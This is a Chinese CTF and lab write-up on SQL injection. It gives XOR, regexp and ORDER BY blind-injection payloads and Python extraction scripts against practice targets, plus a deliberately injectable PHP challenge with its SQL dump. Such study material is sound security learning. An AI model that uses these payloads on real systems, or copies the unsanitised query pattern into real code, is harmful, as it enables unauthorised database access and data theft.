最近在尝试总结一些SQL注入相关的知识,看了很多师傅们整理的文章,受益匪浅。决定根据他们的思路去尝试复现一些CTF题来学习,自己也尝试出了一个SQL注入题来加深印象。总的来说还是学到很多东西的。
第一次投稿文章,里面的内容有些乱。有问题还希望师傅们提出来,谢谢。
在一个师傅的博客中看到这题的Writeup,尝试按照他的payload进行复现,怎么都复现不出来。后来在安全客上看到另一篇异或注入的文章,才把这个题解决了。
初步测试之后会发现,题目过滤了空格,+,*,or,substr
...等一些字符。而且#号注释也不起作用。
于是尝试异或注入。
http://119.23.73.3:5004/?id=1'^'1 返回错误
http://119.23.73.3:5004/?id=1'^'0 返回正常
在MYSQL中:
可见,当/?id=1'^'1时,传递到数据库当中,是id=0,由于为0的id不存在,所以这里返回错误。第二个同理。
这里属于布尔盲注,于是构造payload,用脚本跑:
检索数据库:
id=2'^!(SELECT(ASCII(MID((SELECT(GROUP_CONCAT(schema_name))FROM(information_schema.schemata)),1,1))=104))^'1'='1
检索出来的库为:information_schema,moctf,mysql,performance_schema
检索表:
id=2'^!(SELECT(ASCII(MID((SELECT(GROUP_CONCAT(table_name))FROM(information_schema.tables)WHERE(table_schema='moctf')),1,1))=104))^'1'='1
检索出来的表:do_y0u_l1ke_long_t4ble_name,news
检索字段:
id=2'^!(SELECT(ASCII(MID((SELECT(GROUP_CONCAT(column_name))FROM(information_schema.columns)WHERE(table_name='do_y0u_l1ke_long_t4ble_name')),1,1))=104))^'1'='1
检索出来的字段:d0_you_als0_l1ke_very_long_column_name
读Flag:
id=2'^!(SELECT(ASCII(MID((SELECT(GROUP_CONCAT(d0_you_als0_l1ke_very_long_column_name))FROM(moctf.do_y0u_l1ke_long_t4ble_name)),1,1))=104))^'1'='1
moctfb1ind_SQL_1njecti0n_g0od
脚本:
import requests #文字转ascii ord() #ascii转文字 ascii() dic = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_," url = "http://119.23.73.3:5004/?id=2'^" keyword = "Tip" string = "" for i in range(1, 300): for j in dic: payload = "!(SELECT(ASCII(MID((SELECT(GROUP_CONCAT(schema_name))FROM(information_schema.schemata)),{0},1))={1}))^'1'='1".format(str(i),ord(j)) url_get = url + payload print(url_get) content = requests.get(url_get) if keyword in content.text: string += j print(string) break print("result = " + string)
跑出来的Flag:
题目链接:http://ctf5.shiyanbar.com/web/earnest/index.php
Writeup(要登录):http://www.shiyanbar.com/ctf/writeup/4828
这道题我本来是信心满满的,然后越做越不对劲。做这道题的时候并没有fuzz的字段还没有逗号,莫名就会被拦截,搞得一头雾水。最后还是跑去看Writeup了。
先fuzz单字符来看看waf。还是拦截了很多的,而且逗号和空格也被过滤了。
除此之外,被过滤的还有:is not, union, sleep, substr, benchmark, substring, and。 并且根据大佬的思路,这里的or,+,*
也都会被替换为空
看来时间盲注是没戏了。并且过滤了逗号。
我们知道,regexp盲注的原理是用正则表达式匹配。
例子:
正常的语句为:select username from users where id = 1
正常返回:admin
构造语句:
select (select username from users where id = 1) regexp '^a' 返回真(1)
select (select username from users where id = 1) regexp '^b' 返回假(0)
因为这里'^a'是匹配以a开头的字符串,原来正常返回的就是admin,所以会返回真。
继续就可以使用 regexp '^ad'...读出想要的数据
那么这里该怎么构造呢?
先用length来判断verison的长度:
id=11'Or(LENGTH(version())=6)Or'1'='
由于^被过滤了,所以用$来从尾部开始读。
脚本:
import requests key = "You are in" words = "" data = {"id": ""} word = '0123456789.' for i in range(10): for j in word: data['id'] = "11'Or(SELECT(version()regexp'{}$'))Or'1'='".format(j+words) print(data) content = requests.post("http://ctf5.shiyanbar.com/web/earnest/index.php", data = data) if key in content.text: words = str(j) + words print(words)
最后跑出来为:“5.6..4”
将上面的word替换为:"0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_,", version()替换为database()即可。
跑出来为:Ctf_sql_bOol_bLInd
注意这里的seperator里面的or要双写。
import requests key = "You are in" words = "" data = {"id": ""} word = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!_{}@~." for i in range(30): for j in word: data['id'] = "11'Or(SELECT((SELECT(group_concat(table_name\nseparatoorr\n'@'))FROM(INFORMATION_SCHEMA.tables)WHERE(TABLE_SCHEMA=database()))regexp'{}$'))Or'1'='".format(j+words) print(data) content = requests.post("http://ctf5.shiyanbar.com/web/earnest/index.php", data = data) #print(content.text) if key in content.text: words = str(j) + words print(words)
跑出来的表:fIAg@useRs
可能是脚本的原因,我跑出来的表是有大写有小写。
并且这里有个坑就是逗号被过滤了,导致group_concat必须使用separator指定字符来分割。
import requests key = "You are in" words = "" data = {"id": ""} word = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!_{}@~." for i in range(30): for j in word: data['id'] = "11'Or(SELECT((SELECT(group_concat(column_name\nseparatoorr\n'@'))FROM(INFORMATION_SCHEMA.columns)WHERE(table_name='fiag'))regexp'{}$'))Or'1'='".format(j+words) print(data) content = requests.post("http://ctf5.shiyanbar.com/web/earnest/index.php", data = data) #print(content.text) if key in content.text: if j == "$": words = j+ words else: words = j+ words print(words)
这里的坑实在是太奇怪了,当word里面不加点号时,跑出来只有:4g,原因是字段的名字为fl$4g,里面包含一个$导致正则匹配错误。
Writeup原作者,将点号加到了word里。跑出来就为:fl..g,可以猜测到字段名为:fl$4g (真的是猜测)
在正则当中,点号是用来匹配任意字符的,这里的$就会被.替代。这里我真的被卡了好久。
import requests key = "You are in" words = "" data = {"id": ""} word = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!_{}@~." for i in range(30): for j in word: data['id'] = "11'Or(SELECT(SELECT(fl$4g)FROM(fiag))regexp'{}$')Or'1'='".format(str(j)+words) print(data) content = requests.post("http://ctf5.shiyanbar.com/web/earnest/index.php", data = data) #print(content.text) if key in content.text: words = str(j) + words print(words)
最后跑出来的结果为:
Fla.{HAh.~YOu.WIn.}
像跑字段一样尝试之后可以猜测到:
最后的flag为:
flag{haha~you win!}
这道题其实可以使用mid来做,会更简单,不会再像这个.号一样需要自己去猜。但还是会很多的坑。
mid方式参考:https://www.cnblogs.com/Ragd0ll/p/8684767.html
这题这样做的意义更多的是学习regexp盲注吧。
先来看一下ORDER BY注入的原理
SELECT username, password FROM users order by 1 asc;
这是一个常见的order by使用语句,后面的数字是列号(也可以指定列名),asc & desc指定是升序还是降序。
注意:在order by后面的不会根据计算的结果来排序。
这里有以下几种方式来进行测试:
直接加报错注入的payload:
直接在order by后面加语句:order by (SELECT extractvalue(1,concat(0x7e,(select @@version),0x7e))) 进行报错注入
rand()方式
rand()会返回一个0和1之间的随机数,如果参数被赋值,同一个参数会返回同一个数。
这里就可以用布尔盲注的方式来进行注入
order by rand(mid(version(),1,1)=5)
当然这里也可以用时间盲注的方式。
and payload时间盲注方式
在order by后面的不会根据计算的结果来排序,但是当我们的payload有延迟命令的时候,页面还是会延迟的。
使用and连接时间延迟payload:
order by 1 and (If(substr(version(),1,1)=5,0,sleep(5)))
这里用sqllib作为一个学习的例子:
它的源代码为:
$id=$_GET['sort']; $sql = "SELECT * FROM users ORDER BY $id";
报错注入的payload:
读php版本:
http://127.0.0.1/sqli/Less-46/index.php?sort=(SELECT extractvalue(1,concat(0x7e,(select @@version),0x7e)))--+
读表:
http://127.0.0.1/sqli/Less-46/index.php?sort=(SELECT extractvalue(1,concat(0x7e,(SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = 'security'),0x7e)))--+
读字段:
http://127.0.0.1/sqli/Less-46/index.php?sort=(SELECT extractvalue(1,concat(0x7e,(SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name = 'users'),0x7e)))--+
读内容:
http://127.0.0.1/sqli/Less-46/index.php?sort=(SELECT extractvalue(1,concat(0x7e,(SELECT group_concat(username) FROM users),0x7e)))--+
rand()方式和and时间盲注的payload基本差不多,这里就不再重复了。
另一种order by注入
我自己写了一个题来学习这一种order by注入。题目过滤了F1g3这个字段名。在id=3时,F1g3字段存在flag的base16编码。(直接过滤Flag会更好)
查询语句:
$sql = "SELECT id, F1ag, username FROM this_1s_th3_fiag_tab13 WHERE id = ".$id.";";
已知:数据库名:user,表名:this_1s_th3_fiag_tab13,字段名:F1g3,列号为2
因为过滤了F1g3这个字段名,我们不能直接用普通盲注的方式得到Flag,所以就得使用一种特别的order by盲注。
访问:
index.php?id=3 union select 1,2,3 order by 1
返回:
id: 1 name: 3
id: 3 name: threezh1
可以看到这里的1,3分别对应了id和name。 并使用了order by指定id排序。
当我们将字段1修改为4时,也就是访问:
index.php?id=3 union select 4,2,3 order by 1
就会返回:
id: 3 name: threezh1
id: 4 name: 3
这是因为,在排序的时候,order by是默认升序排列。select 4,2,3时就会排到后面。
根据这个差异,我们可以指定按第二列来排序,并在select里猜测flag的值。这样就可以不使用F1g3这个字段名就把值读出来。
访问:/index.php?id=3 union select 1,'6',3 order by 2
返回:
id: 1 name: 3
id: 3 name: threezh1
访问:/index.php?id=3 union select 1,'7',3 order by 2
返回:
id: 3 name: threezh1
id: 1 name: 3
出现差别了,因为这里是大于才会出现排序不一样,所以flag的第一个字符为6。
按照这个思路,写出脚本:
import requests key = "<tr><td> id: 3 </td> <td> name: threezh1 </td> <br/></tr><tr><td> id: 3 </td> <td> name: 3 </td> <br/></tr>" words = "" data = "id=3 union select 3,'{0}',3 order by 2" dic = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ" for i in range(100): for j in dic: payload = data.format(words + j) print(payload) content = requests.get("http://127.0.0.1/index.php?" + payload) if key in content.text: words = words + temp print(words) break temp = j
最后可以直接得到flag的base16编码。
这里有个问题就是,当select 1,2,3 中字段位的数据与数据库里的数据相等时,匹配的时候如果是匹配的是7就是7不用再退一位。
最后跑出来是 666c61677b643067335f74687265657a68317c
那么真实的flag的base16编码为:666c61677b643067335f74687265657a68317d
解码即可
题目源码:
<?php $dbhost = 'localhost'; // mysql服务器主机地址 $dbuser = 'root'; // mysql用户名 $dbpass = 'root'; // mysql用户名密码 $conn = mysqli_connect($dbhost, $dbuser, $dbpass); if(! $conn ) { die('Could not connect: ' . mysqli_error()); } mysqli_select_db($conn, 'user'); $id = $_GET['id']; if (!isset($id)){ echo "Please tell me the id , And you should think what is the sort way."; exit(); } //echo strtolower($id)."<br/>"; if (preg_match('/(char|hex|conv|lower|lpad|into|password|md5|encode|decode|convert|cast)/i',strtolower($id)) != 0){ //|\s echo "NoNoNo"; exit(); } if (stripos($id, "F1ag")){ echo "Close, but No!!! Thinking..."; exit(); } $sql = "SELECT id, F1ag, username FROM this_1s_th3_fiag_tab13 WHERE id = ".$id.";"; $retval = mysqli_query($conn, $sql); if(!$retval) { die('???');// . mysqli_error($conn) } while($row = mysqli_fetch_array($retval, MYSQLI_ASSOC)) { echo "<tr><td> id: {$row['id']} </td> ". "<td> name: {$row['username']} </td> <br/>". "</tr>"; } mysqli_close($conn); ?>
sql:
SET NAMES utf8mb4;
SET FOREIGN_KEY_CHECKS = 0;
-- ----------------------------
-- Table structure for this_1s_th3_fiag_tab13
-- ----------------------------
DROP TABLE IF EXISTS `this_1s_th3_fiag_tab13`;
CREATE TABLE `this_1s_th3_fiag_tab13` (
`id` varchar(255) CHARACTER SET utf8 COLLATE utf8_general_ci NULL DEFAULT NULL,
`F1ag` varchar(255) CHARACTER SET utf8 COLLATE utf8_general_ci NULL DEFAULT NULL,
`username` varchar(255) CHARACTER SET utf8 COLLATE utf8_general_ci NULL DEFAULT NULL,
`password` varchar(255) CHARACTER SET utf8 COLLATE utf8_general_ci NULL DEFAULT NULL
) ENGINE = MyISAM CHARACTER SET = utf8 COLLATE = utf8_general_ci ROW_FORMAT = Dynamic;
-- ----------------------------
-- Records of this_1s_th3_fiag_tab13
-- ----------------------------
INSERT INTO `this_1s_th3_fiag_tab13` VALUES ('3', '666C61677B643067335F74687265657A68317D', 'threezh1', 'You is pig');
INSERT INTO `this_1s_th3_fiag_tab13` VALUES ('1', 'No the Flag', 'oops,This is not the flag id', 'You is pig');
INSERT INTO `this_1s_th3_fiag_tab13` VALUES ('2', 'No the Flag', 'Not the flag also', 'You is pig');
SET FOREIGN_KEY_CHECKS = 1;